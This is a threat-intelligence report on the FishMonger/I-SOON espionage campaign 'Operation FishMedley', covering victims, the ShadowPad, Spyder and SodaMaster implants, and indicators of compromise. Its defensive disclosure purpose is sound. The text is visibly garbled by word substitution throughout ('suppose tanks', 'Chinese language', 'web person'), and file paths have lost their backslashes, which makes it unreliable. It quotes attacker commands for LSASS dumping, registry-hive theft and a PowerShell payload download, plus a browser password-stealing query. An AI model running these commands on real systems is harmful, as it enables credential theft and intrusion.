Operation FishMedley concentrating on governments, NGOs, and suppose tanks

On March 5^th, 2025, the US DOJ unsealed an indictment in opposition to staff of the Chinese language contractor I‑SOON for his or her involvement in a number of international espionage operations. These embrace assaults that we beforehand documented and attributed to the FishMonger APT group – I‑SOON’s operational arm – together with the compromise of seven organizations that we recognized as being focused in a 2022 marketing campaign that we named Operation FishMedley.

Key factors of this blogpost:

• Verticals focused throughout Operation FishMedley embrace governments, NGOs, and suppose tanks, throughout Asia, Europe, and the US.
• Operators used implants – equivalent to ShadowPad, SodaMaster, and Spyder – which are widespread or unique to China-aligned risk actors.
• We assess with excessive confidence that Operation FishMedley was carried out by the FishMonger APT group.
• Unbiased of the DOJ indictment, we decided that FishMonger is operated by I‑SOON.

FishMonger profile

FishMonger – a bunch believed to be operated by the Chinese language contractor I‑SOON (see our This fall 2023-Q1 2024 APT Exercise Report) – falls underneath the Winnti Group umbrella and is most probably working out of China, from town of Chengdu the place I‑SOON’s workplace was situated. FishMonger is often known as Earth Lusca, TAG‑22, Aquatic Panda, or Pink Dev 10. We printed an evaluation of this group in early 2020 when it closely focused universities in Hong Kong through the civic protests that began in June 2019. We initially attributed the incident to Winnti Group however have since revised our attribution to FishMonger.

The group is understood to function watering-hole assaults, as reported by Development Micro. FishMonger’s toolset contains ShadowPad, Spyder, Cobalt Strike, FunnySwitch, SprySOCKS, and the BIOPASS RAT.

Overview

On March 5^th, 2025, the US Division of Justice printed a press launch and unsealed an indictment in opposition to I‑SOON staff and officers of China’s Ministry of Public Safety concerned in a number of espionage campaigns from 2016 to 2023. The FBI additionally added these named within the indictment to its “most wished” checklist and printed a poster, as seen in Determine 1.

The indictment describes a number of assaults which are strongly associated to what we printed in a personal APT intelligence report in early 2023. On this blogpost, we share our technical information about this international marketing campaign that focused governments, NGOs, and suppose tanks throughout Asia, Europe, and the US. We consider that this data enhances the lately printed indictment.

Throughout 2022, we investigated a number of compromises the place implants equivalent to ShadowPad and SodaMaster, that are generally employed by China-aligned risk actors, had been used. We had been in a position to cluster seven unbiased incidents for this blogpost and have named that marketing campaign Operation FishMedley.

FishMonger and I-SOON

Throughout our analysis, we had been in a position to independently decide that FishMonger is an espionage workforce operated by I‑SOON, a Chinese language contractor based mostly in Chengdu that suffered an notorious doc leak in 2024 – see this complete evaluation from Harfang Labs.

Victimology

Desk 1 exhibits particulars in regards to the seven victims we recognized. The verticals and nations are various, however most are of apparent curiosity to the Chinese language authorities.

Desk 1. Victimology particulars

Sufferer	Date of compromise	Nation	Vertical
A	January 2022	Taiwan	Governmental group.
B	January 2022	Hungary	Catholic group.
C	February 2022	Turkey	Unknown.
D	March 2022	Thailand	Governmental group.
E	April 2022	United States	Catholic charity working worldwide.
F	June 2022	United States	NGO – primarily lively in Asia.
G	October 2022	France	Geopolitical suppose tank.

Desk 2 summarizes the implants used throughout every intrusion of Operation FishMedley.

Desk 2. Particulars of the implants used in opposition to every sufferer

Technical evaluation

Preliminary entry

We had been unable to determine the preliminary compromise vectors. For many instances, the attackers appeared to have had privileged entry contained in the native community, equivalent to area administrator credentials.

At Sufferer D, the attackers gained entry to an admin console and used it to deploy implants on different machines within the native community. It’s possible that they first compromised the machine of a sysadmin or safety analyst after which stole credentials that allowed them to hook up with the console.

At Sufferer F, the implants had been delivered utilizing Impacket, which signifies that the attackers someway beforehand compromised a high-privilege area account.

Lateral motion

At Sufferer F, the operators additionally used Impacket to maneuver laterally. They gathered data on different native machines and put in implants.

Desk 3 exhibits that the operators first did some handbook reconnaissance utilizing quser.exe, wmic.exe, and ipconfig.exe. Then they tried to get credentials and different secrets and techniques by dumping the native safety authority subsystem service (LSASS) course of (PID 944). The PID of the method was obtained through tasklist /svc and the dump was carried out utilizing comsvcs.dll, which is a recognized living-off-the-land binary (LOLBIN). Word that it’s seemingly that the attackers executed quser.exe to see whether or not different customers or admins had been additionally logged in, that means privileged accesses had been current in LSASS. Based on Microsoft documentation, to make use of this command the attacker should have Full Management permission or particular entry permission.

Additionally they saved the registry hives sam.hive and system.hive, which may each comprise secrets and techniques or credentials.

Lastly, they tried to dump the LSASS course of once more, utilizing a for loop iterating over the output from tasklist.exe. We’ve seen this identical code used on different machines, so it’s a good suggestion to dam or at the least alert on it.

Desk 3. Instructions executed through Impacket on a machine at Sufferer F

Timestamp (UTC)	Command
2022-06-21 07:34:07	quser
2022-06-21 14:41:23	wmic os get lastbootuptime
2022-06-21 14:41:23	ipconfig /all
2022-06-21 14:41:23	tasklist /svc
2022-06-21 14:41:23	C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -c “C:WindowsSystem32rundll32 C:windowssystem32comsvcs.dll, MiniDump 944 c:userspublicmusictemp.tmp full”
2022-06-21 14:41:23	reg save hklmsam C:userspublicmusicsam.hive
2022-06-21 14:41:23	reg save hklmsystem C:userspublicmusicsystem.hive
2022-06-21 14:41:23	web person
2022-06-22 07:05:37	tasklist /v
2022-06-22 07:07:33	dir c:customers
2022-06-22 09:47:52	for /f “tokens=1,2 delims= ” ^%A in (‘”tasklist /fi “Imagename eq lsass.exe” | discover “lsass””‘) do rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump ^%B WindowsTempYDWS6P.xml full

Toolset

ShadowPad

ShadowPad is a well known and privately offered modular backdoor, recognized to solely be equipped to China-aligned APT teams, together with FishMonger and SparklingGoblin, as documented by SentinelOne. In Operation FishMedley, the attackers used a ShadowPad model full of ScatterBee.

At Sufferer D, the loader was downloaded utilizing the next PowerShell command:

powershell (new-object System.Internet.WebClient).DownloadFile(“http:///Pictures/menu/log.dll”;”c:userspubliclog.dll”)

This exhibits that the attackers compromised an internet server on the sufferer’s group to make use of it as a staging server for his or her malware.

At Sufferer F, Firefox was used to obtain the loader, from http://5.188.230[.]47/log.dll. We don’t know whether or not attackers had interactive entry to the machine, whether or not one other piece of malware was working within the Firefox course of, or whether or not the sufferer was redirected to the obtain web page, say through a watering-hole assault.

log.dll is side-loaded by an previous Bitdefender executable (authentic identify: BDReinit.exe) and hundreds ShadowPad from a file named log.dll.dat, which may be decrypted utilizing the scripts supplied in PwC’s GitHub repository.

We didn’t get well the log.dll.dat from the sufferer’s machine, however we discovered a faux Adobe Flash installer on VirusTotal with the equivalent log.dll file. The configuration of the ShadowPad payload is supplied in Desk 4.

Desk 4. ShadowPad configuration

Area	Decrypted worth
Timestamp	3/14/2022 10:52:16 PM
Marketing campaign code	2203
File path	%ALLUSERSPROFILEpercentDRMTest
Spoofed identify	Check.exe
Loader filename	log.dll
Payload filename	log.dll.dat
Service identify	MyTest2
Different service identify	MyTest2
Different service identify	MyTest2
Registry key path	SOFTWAREMicrosoftWindowsCurrentVersionRun
Service description	MyTest2
Program to inject into	%ProgramFilespercentWindows Media Playerwmplayer.exe
Different injection goal	N/A
Different injection goal	N/A
Different injection goal	%windirpercentsystem32svchost.exe
C&C URL	TCP://api.googleauthenticatoronline[.]com:443
Different C&C URL	UDP://api.googleauthenticatoronline[.]com:443
Different C&C URL	N/A
Different C&C URL	N/A
Proxy information string	SOCKS4nnnnn
Proxy information string	SOCKS4nnnnn
Proxy information string	SOCKS5nnnnn
Proxy information string	SOCKS5nnnnn

Word that from March 20^th, 2022 to November 2^nd, 2022, the C&C area resolved to 213.59.118[.]124, which is talked about in a VMware blogpost about ShadowPad.

Spyder

At Sufferer D, we detected one other backdoor sometimes utilized by FishMonger: Spyder, a modular implant that was analyzed in nice element by Dr.Net.

A Spyder loader was downloaded from http:///Pictures/menu/aa.doc and dropped to C:UsersPublictask.exe round 18 hours after ShadowPad was put in.

The loader – see Determine 2; reads the file c:windowstempguid.dat and decrypts its contents utilizing AES-CBC. The encryption secret’s hardcoded: F4 E4 C6 9E DE E0 9E 82 00 00 00 00 00 00 00 00. The initialization vector (IV) is the primary eight bytes of the important thing. Sadly, we had been unable to get well the guid.dat file.

Then, the loader injects the decoded content material – seemingly shellcode – into itself (process.exe course of) as seen in Determine 3.

Regardless of not acquiring the encrypted remaining payload, our product did detect a Spyder payload in reminiscence and it was virtually equivalent to the Spyder variant documented by Dr.Net. The C&C server was hardcoded to 61.238.103[.]165.

Apparently, a number of subdomains of junlper[.]com, a recognized Spyder C&C area and a weak homoglyph area to juniper.web, resolved to 61.238.103[.]165 in 2022.

A self-signed TLS certificates was current on port 443 of the server from Might to December 2022, with the thumbprint 89EDCFFC66EDA3AEB75E140816702F9AC73A75F0. Based on SentinelOne, it’s a certificates utilized by FishMonger for its C&C servers.

SodaMaster

SodaMaster is a backdoor that was documented by Kaspersky in 2021. APT10 was the primary group recognized to have entry to this backdoor however Operation FishMedley signifies that it could now be shared amongst a number of China-aligned APT teams.

SodaMaster can solely be discovered decrypted in reminiscence and that’s the place we detected it. Regardless that we didn’t get well the complete loading chain, we have now recognized just a few samples which are step one of the chain.

SodaMaster loaders

We discovered six totally different malicious DLLs which are abusing authentic executables through DLL side-loading. All of them implement the identical decryption and injection routine.

First, the loader reads a hardcoded file, for instance debug.png, and XOR decrypts it utilizing a hardcoded 239-byte key. Desk 5 summarizes the totally different loaders. Word that the XOR key can also be totally different in every pattern, however too lengthy to be included within the desk. Additionally observe that we didn’t get well any of those encrypted payloads.

Desk 5. SodaMaster loaders

SHA-1	DLL identify	Payload filename
3C08C694C222E7346BD8633461C5D19EAE18B661	DrsSDK.dll	debug.png
D8B631C551845F892EBB5E7D09991F6C9D4FACAD	libvlc.dll	vlc.cnf
3A702704653EC847CF9121E3F454F3DBE1F90AFD	safestore64.dll	Location
3630F62771360540B66701ABC8F6C868087A6918	DeElevator64.dll	Location
A4F68D0F1C72C3AC9D70919C17DC52692C43599E	libmaxminddb-0.dll	C:windowssystem32MsKeyboardFilterapi.dll
5401E3EF903AFE981CFC2840D5F0EF2F1D83B0BF	safestore641.dll	Location

Then, the decrypted buffer is injected right into a newly created, suspended svchost.exe course of – see Determine 4.

Lastly, the shellcode is executed utilizing both CreateRemoteThread (on Home windows XP or older variations) or, on newer Home windows variations, through NtCreateThreadEx as proven in Determine 5.

The final 4 loaders in Desk 5 have extra options:

• They’ve an export named getAllAuthData that implements a password stealer for Firefox. It reads the Firefox SQLite database and runs the question SELECT encryptedUsername, encryptedPassword, hostname,httpRealm FROM moz_logins.
• The final three loaders persist as a service named Netlock, MsKeyboardFiltersrv, and downmap, respectively.

SodaMaster payload

As talked about above, the SodaMaster payload was publicly analyzed by Kaspersky and the samples we’ve discovered don’t appear to have advanced a lot. They nonetheless implement the identical 4 backdoor instructions (d, f, l, and s) that had been current in 2021.

Desk 6 exhibits the configurations from the 4 totally different SodaMaster payloads that we recognized. Operators used a unique C&C server per sufferer, however we are able to see that Victims B and C share the identical hardcoded RSA key.

Desk 6. SodaMaster configuration

Sufferer	C&C server	RSA key
B	162.33.178[.]23	MIGJAoGBAOPjO7DslhZvp0t8HNU/NWPIwstzwi61JlevD6TJtv/TZuN6CgXMCXql0P3CBGPVU5gAJiTxH0vslwdIpWeWEZZ5eJVk0VK9vA6XfCsc4NDVDPm7M5EH5sxHQjRNfe6H6RqcayAQn2YXd0Yua4S22F9ZmocU7VcPyLQLeVZoKjcxAgMBAAE=
C	78.141.202[.]70	MIGJAoGBAOPjO7DslhZvp0t8HNU/NWPIwstzwi61JlevD6TJtv/TZuN6CgXMCXql0P3CBGPVU5gAJiTxH0vslwdIpWeWEZZ5eJVk0VK9vA6XfCsc4NDVDPm7M5EH5sxHQjRNfe6H6RqcayAQn2YXd0Yua4S22F9ZmocU7VcPyLQLeVZoKjcxAgMBAAE=
F	192.46.223[.]211	MIGJAoGBAMYOg+eoTREKaAESDXt3Uh3Y4J84ObD1dfl3dOji0G24UlbHdjUk3e+/dtHjPsRZOfdLkwtz8SIZZVVt3pJGxgx9oyRtckJ6zsrYm/JIK+7bXikGf7sgs5zCItcaNJ1HFKoA9YQpfxXrwoHMCkaGb9NhsdsQ2k2q4jT68Hygzq19AgMBAAE=
G	168.100.10[.]136	MIGJAoGBAJ0EsHDp5vtk23KCxEq0tAocvMwn63vCqq0FVmXsY+fvD0tP6Nlc7k0lESpB4wGioj2xuhQgcEjXEkYAIPGiefYFovxMPVuzp1FsutZa5SD6+4NcTRKsRsrMTZm5tFRuuENoEVmOSy3XoAS00mu4MM5tt7KKDlaczzhYJi21PGk5AgMBAAE=

RPipeCommander

At Sufferer D, we captured a beforehand unknown implant in the identical course of the place Spyder was working. It was most likely loaded from disk or downloaded by Spyder. As a result of its DLL export identify was rcmd64.dll, we named this implant RPipeCommander.

RPipeCommander is multithreaded and makes use of IoCompletionPort to handle the I/O requests of the a number of threads. It creates the named pipe .PipeCmdPipe, the place is the present course of ID, and reads from and writes into this pipe.

RPipeCommander is a reverse shell that accepts three instructions through the named pipe:

• h (0x68): create a cmd.exe course of and bind pipes to the method to ship instructions and skim the output.
• i (0x69): Write a command within the current cmd.exe course of or learn the output of the earlier command.
• j (0x6A): exit the cmd.exe course of by writing exitrn within the command shell.

Word that it appears we solely have the server aspect of RPipeCommander. It’s seemingly {that a} second element, a consumer, is used to ship instructions to the server from one other machine on the native community.

Lastly, RPipeCommander is written in C++ and RTTI data was included within the captured samples, permitting us to acquire among the class names:

• CPipeServer
• CPipeBuffer
• CPipeSrvEvent
• CPipeServerEventHandler

Different instruments

Along with the primary implants described above, the attackers used just a few extra instruments to gather or exfiltrate knowledge, which we describe in Desk 7.

Desk 7. Different instruments used throughout Operation FishMedley

Filename	Particulars
C:Windowssystem32sasetup.dll	Customized password filter. The export PasswordChangeNotify known as when the person adjustments their password, and it writes the brand new password on disk within the present working listing in a log file named etuper.log. Word that it may possibly additionally exfiltrate the password by sending a POST request to a hardcoded C&C server, with flag= within the POST knowledge. Nevertheless, this performance just isn’t enabled on this particular pattern and there’s no C&C server within the configuration.
C:Windowsdebugsvhost.tmp	The fscan community scanner, obtainable on GitHub.
C:nb.exe	nbtscan – a NetBIOS scanner.
C:Userspublicdrop.zip	It accommodates solely dbxcli – a device written in Go to work together with Dropbox. It was seemingly used to exfiltrate knowledge from the sufferer’s community, however we haven’t retrieved any details about the attackers’ account. Word that, regardless of the.zip extension, it is a CAB file. It was downloaded from http://45.76.165[.]227/wECqKe529r.png. Additionally observe that dbxcli appears to have been compiled by the attackers, for the reason that hash (SHA-1: 2AD82FFA393937A2353096FE2A2209E0EBC1C9D7) has a really low prevalence within the wild.

Conclusion

On this blogpost, we have now proven how FishMonger carried out a marketing campaign in opposition to high-profile entities all world wide and was the topic of a US DOJ indictment in March 2025. We additionally confirmed that the group just isn’t shy about reusing well-known implants, equivalent to ShadowPad or SodaMaster, even lengthy after they’ve been publicly described. Lastly, we have now independently confirmed that FishMonger is a workforce that’s a part of the Chinese language firm I‑SOON.

For any inquiries about our analysis printed on WeLiveSecurity, please contact us at threatintel@eset.com. 

ESET Analysis affords personal APT intelligence studies and knowledge feeds. For any inquiries about this service, go to the ESET Risk Intelligence web page.

IoCs

A complete checklist of indicators of compromise (IoCs) and samples may be present in our GitHub repository.

Information

SHA-1	Filename	Detection	Description
D61A4387466A0C999981086C2C994F2A80193CE3	N/A	Win32/Agent.ADVC	ShadowPad dropper.
918DDD842787D64B244D353BFC0E14CC037D2D97	log.dll	Win32/Agent.ADVC	ScatterBee-packed ShadowPad loader.
F12C8CEC813257890F4856353ABD9F739DEED890	process.exe	Win64/Agent.BEJ	Spyder loader.
3630F62771360540B66701ABC8F6C868087A6918	DeElevator64.dll	Win64/PSW.Agent.CU	SodaMaster loader.
3C08C694C222E7346BD8633461C5D19EAE18B661	DrsSDK.dll	Win64/Agent.CAC	SodaMaster loader.
5401E3EF903AFE981CFC2840D5F0EF2F1D83B0BF	safestore64.dll	Win64/PSW.Agent.CU	SodaMaster loader.
A4F68D0F1C72C3AC9D70919C17DC52692C43599E	libmaxminddb-0.dll	Win64/PSW.Agent.CU	SodaMaster loader.
D8B631C551845F892EBB5E7D09991F6C9D4FACAD	libvlc.dll	Win64/Agent.BFZ	SodaMaster loader.
3F5F6839C7DCB1D164E4813AF2E30E9461AB35C1	sasetup.dll	Win64/PSW.Agent.CB	Malicious password filter.

Community

IP	Area	Internet hosting supplier	First seen	Particulars
213.59.118[.]124	api.googleauthenticatoronline[.]com	STARK INDUSTRIES	2022‑03‑20	ShadowPad C&C server.
61.238.103[.]165	N/A	IRT-HKBN-HK	2022‑03‑10	Spyder C&C server.
162.33.178[.]23	N/A	BL Networks	2022‑03‑28	SodaMaster C&C server.
78.141.202[.]70	N/A	The Fixed Firm	2022‑05‑18	SodaMaster C&C server.
192.46.223[.]211	N/A	Akamai Linked Cloud	2022‑06‑22	SodaMaster C&C server.
168.100.10[.]136	N/A	BL Networks	2022‑05‑12	SodaMaster C&C server.

MITRE ATT&CK methods

This desk was constructed utilizing model 16 of the MITRE ATT&CK framework.

Tactic	ID	Identify	Description
Useful resource Growth	T1583.004	Purchase Infrastructure: Server	FishMonger rented servers at a number of internet hosting suppliers.
	T1583.001	Purchase Infrastructure: Domains	FishMonger purchased domains and used them for C&C site visitors.
Execution	T1059.001	Command-Line Interface: PowerShell	FishMonger downloaded ShadowPad utilizing PowerShell.
	T1059.003	Command-Line Interface: Home windows Command Shell	FishMonger deployed Spyder utilizing a BAT script.
	T1072	Software program Deployment Instruments	FishMonger gained entry to an area admin console, abusing it to run instructions on different machines within the sufferer’s community.
Persistence	T1543.003	Create or Modify System Course of: Home windows Service	Some SodaMaster loaders persist through a Home windows service.
Protection Evasion	T1574.002	Hijack Execution Movement: DLL Facet-Loading	ShadowPad is loaded by a DLL named log.dll that’s side-loaded by a authentic Bitdefender executable.
	T1140	Deobfuscate/Decode Information or Info	ShadowPad, Spyder, and SodaMaster are decrypted and loaded into reminiscence.
Credential Entry	T1555.003	Credentials from Password Shops: Credentials from Net Browsers	Some SodaMaster loaders can extract passwords from the native Firefox database.
	T1556.002	Modify Authentication Course of: Password Filter DLL	FishMonger used a customized password filter DLL that may write passwords to disk or exfiltrate them to a distant server.
	T1003.001	OS Credential Dumping: LSASS Reminiscence	FishMonger dumped LSASS reminiscence utilizing rundll32 C:windowssystem32comsvcs.dll, MiniDump.
	T1003.002	OS Credential Dumping: Safety Account Supervisor	FishMonger dumped the safety account supervisor utilizing reg save hklmsam C:userspublicmusicsam.hive.
Discovery	T1087.001	Account Discovery: Native Account	FishMonger executed web person.
	T1016	System Community Configuration Discovery	FishMonger executed ipconfig /all.
	T1007	System Service Discovery	FishMonger executed tasklist /svc.
	T1057	Course of Discovery	FishMonger executed tasklist /v.
Lateral Motion	T1021.002	Distant Companies: SMB/Home windows Admin Shares	FishMonger used Impacket to deploy malware on different machines within the native community.
Command and Management	T1095	Non-Utility Layer Protocol	ShadowPad communicates over uncooked TCP and UDP.